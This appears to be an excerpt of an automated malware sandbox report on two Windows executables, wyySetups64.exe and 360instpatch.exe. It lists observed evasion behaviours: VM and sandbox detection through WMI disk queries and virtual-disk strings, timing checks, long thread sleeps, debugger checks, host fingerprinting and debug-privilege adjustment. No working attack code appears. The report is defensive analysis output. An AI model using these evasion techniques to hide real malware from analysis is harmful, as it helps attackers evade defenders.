Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: _memset,GetUserNameW,__wcsicoll,_memset,GetModuleFileNameW,StrStrIW,

8_2_00B68A46

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Downloads\360instpatch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : ASSOCIATORS OF {Win32_DiskPartition.DeviceID='Disk #0, Partition #1'} where ResultClass = Win32_DiskDrive
Source: C:\Users\user\Downloads\360instpatch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""
Source: C:\Users\user\Downloads\360instpatch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : ASSOCIATORS OF {Win32_DiskPartition.DeviceID='Disk #0, Partition #1'} where ResultClass = Win32_DiskDrive
Source: C:\Users\user\Downloads\360instpatch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Users\user\Downloads\360instpatch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='C:'} where ResultClass = Win32_DiskPartition
Source: C:\Users\user\Downloads\360instpatch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""
Source: C:\Users\user\Downloads\360instpatch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='C:'} where ResultClass = Win32_DiskPartition
Source: C:\Users\user\Downloads\360instpatch.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: 8_2_6BEFAC4D rdtsc

8_2_6BEFAC4D

Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _malloc,GetAdaptersInfo,_malloc,GetAdaptersInfo,	8_2_00B567A4
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _malloc,GetAdaptersInfo,_malloc,GetAdaptersInfo,	8_2_00B788EB
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: GetProcessHeap,GetProcessHeap,HeapAlloc,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,__wcsicoll,StrStrIA,StrStrIA,StrStrIA,GetProcessHeap,GetProcessHeap,HeapFree,	8_2_00B24BD0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: GetAdaptersInfo,GetTickCount,_sprintf,	8_2_6BEFA873
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	9_2_00B567A4
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	9_2_00B788EB
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: GetProcessHeap,GetProcessHeap,HeapAlloc,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,__wcsicoll,StrStrIA,StrStrIA,StrStrIA,GetProcessHeap,GetProcessHeap,HeapFree,	9_2_00B24BD0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Window / User API: threadDelayed 1495	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Window / User API: threadDelayed 3452	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Window / User API: threadDelayed 4063	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5197	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1647	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Window / User API: threadDelayed 9792	Jump to behavior

Source: C:\Users\user\Desktop\wyySetups64.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-11249

Source: C:\Users\user\Downloads\360instpatch.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{DFE14265-3905-4689-9143-1E1473933304}.tmp\360P2SP.dll

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep			graph_1-44017
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_1-44016

Source: C:\Users\user\Downloads\360instpatch.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Users\user\Downloads\360instpatch.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_8-147620

Source: C:\Users\user\Downloads\360instpatch.exe

API coverage: 0.7 %

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe TID: 1368	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe TID: 6120	Thread sleep time: -1495000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe TID: 4504	Thread sleep time: -34520s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe TID: 6120	Thread sleep time: -4063000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6772	Thread sleep count: 5197 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5480	Thread sleep count: 1647 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6432	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7080	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3368	Thread sleep count: 307 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe TID: 792	Thread sleep time: -217500s >= -30000s	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe TID: 792	Thread sleep time: -14688000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5064	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6772	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Downloads\360instpatch.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Thread sleep count: Count: 3452 delay: -10

Jump to behavior

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\Windows\SysWOW64 FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation	Jump to behavior

Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B6D71E FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	8_2_00B6D71E
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B7D670 _memset,FindFirstFileW,FindNextFileW,FindClose,	8_2_00B7D670
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B73FB0 PathFileExistsW,_wcslen,_memset,_memset,PathAppendW,PathAppendW,PathAppendW,FindFirstFileW,FindNextFileW,_memset,PathAppendW,PathAppendW,_memset,PathAppendW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	8_2_00B73FB0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF3A6BA _wcspbrk,__getdrive,FindFirstFileW,_wcspbrk,__wfullpath_helper,_wcslen,GetDriveTypeW,___loctotime64_t,__wsopen_s,__fstat64i32,__close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	8_2_6BF3A6BA
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CD3E2B7 FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	8_2_6CD3E2B7
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B7D670 _memset,FindFirstFileW,FindNextFileW,FindClose,	9_2_00B7D670
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B6D71E FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	9_2_00B6D71E
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B73FB0 PathFileExistsW,_wcslen,_memset,_memset,PathAppendW,PathAppendW,PathAppendW,FindFirstFileW,FindNextFileW,_memset,PathAppendW,PathAppendW,_memset,PathAppendW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00B73FB0

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_033780F0 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

1_2_033780F0

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_03375430 _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,

1_2_03375430

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 360instpatch.exe, 00000008.00000002.4115869359.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\4
Source: 360instpatch.exe, 00000008.00000003.1844261692.0000000003222000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: 360instpatch.exe.0.dr	Binary or memory string: vVIRTUAL SCSIVIRTUAL HDVIRTUAL DISKISCSIRED HAT VIRTIORAMDISKRAM-DISKRAM DISKRAID ARRAYRAID10RAID5RAID1XENSRC XEN VMWAREVBOX HARDDISKQEMU HARDDISKPROMISE 1+0MSFT VIRTUALMICROSOFTMARVELL RAIDLSILOGICLSI MR92LSI MEGALENOVO_RAIDINTEL RAIDIBM SERVERAIDDELL PERCAMD-RAID ARRAYADAPTECRAID0SOFTWARE\360Safe\softmgr\dioraidRAIDIM2S313BR240G BR128G BR120G BR60G 256GB 256GB 256G 256G 240GB 128GB 128GB 128G 128G 120GB 120G
Source: wyySetups64.exe, 00000000.00000002.1810189166.000000000078E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZ
Source: wyySetups64.exe, 00000000.00000002.1810189166.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 360instpatch.exe, 00000008.00000003.1844261692.0000000003222000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MSFT_PhysicalDisk{1}\\user-PC\root/Microsoft/Windows/Storage/Providers_v2\SPACES_PhysicalDisk.ObjectId="{a33c734b-61ca-11ee-8c18-806e6f6e6963}:PD:{fadc7a83-6534-864a-66c8-a75a642cb79f}"6000C2942FCE4D06663969F532E45D1AVMware Virtual diskVMwareVirtual disk6000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0
Source: wyySetups64.exe, 00000000.00000002.1810189166.0000000000821000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4115869359.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4115869359.000000000155E000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4115869359.0000000001609000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3462473885.000001A6AFC5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3461758605.000001A6AA62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 360instpatch.exe, 00000008.00000003.1844261692.0000000003222000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk
Source: wyySetups64.exe, 00000001.00000002.4115270099.000000000092E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	API call chain: ExitProcess graph end node			graph_1-43540
Source: C:\Users\user\Downloads\360instpatch.exe	API call chain: ExitProcess graph end node			graph_8-148112

Source: C:\Users\user\Desktop\wyySetups64.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: 8_2_6BEFAC4D rdtsc

8_2_6BEFAC4D

Source: C:\Users\user\Desktop\wyySetups64.exe

Code function: 0_2_1001124D IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_1001124D

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: 8_2_00B19CD0 GetCurrentThreadId,GetProcessHeap,OpenThread,OpenThread,GetLastError,GetProcessHeap,HeapFree,OutputDebugStringW,CloseHandle,

8_2_00B19CD0

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_0338054D VirtualProtect ?,-00000001,00000104,?

1_2_0338054D

Source: C:\Users\user\Desktop\wyySetups64.exe

Code function: 0_2_10001170 LoadLibraryW,GetProcAddress,GetProcAddress,GetModuleHandleA,RegisterClassW,CreateWindowExW,GetMessageW,TranslateMessage,DispatchMessageW,

0_2_10001170

Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_00D50AE4 mov eax, dword ptr fs:[00000030h]	0_2_00D50AE4
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B20AE4 mov eax, dword ptr fs:[00000030h]	1_2_00B20AE4
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_031F00CD mov eax, dword ptr fs:[00000030h]	1_2_031F00CD

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_03376790 wsprintfW,GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,LookupAccountSidW,GetLastError,GetProcessHeap,HeapFree,

1_2_03376790

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_1001154A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_1001154A
Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_1001124D IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_1001124D
Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_00D61520 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D61520
Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_00D61521 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D61521
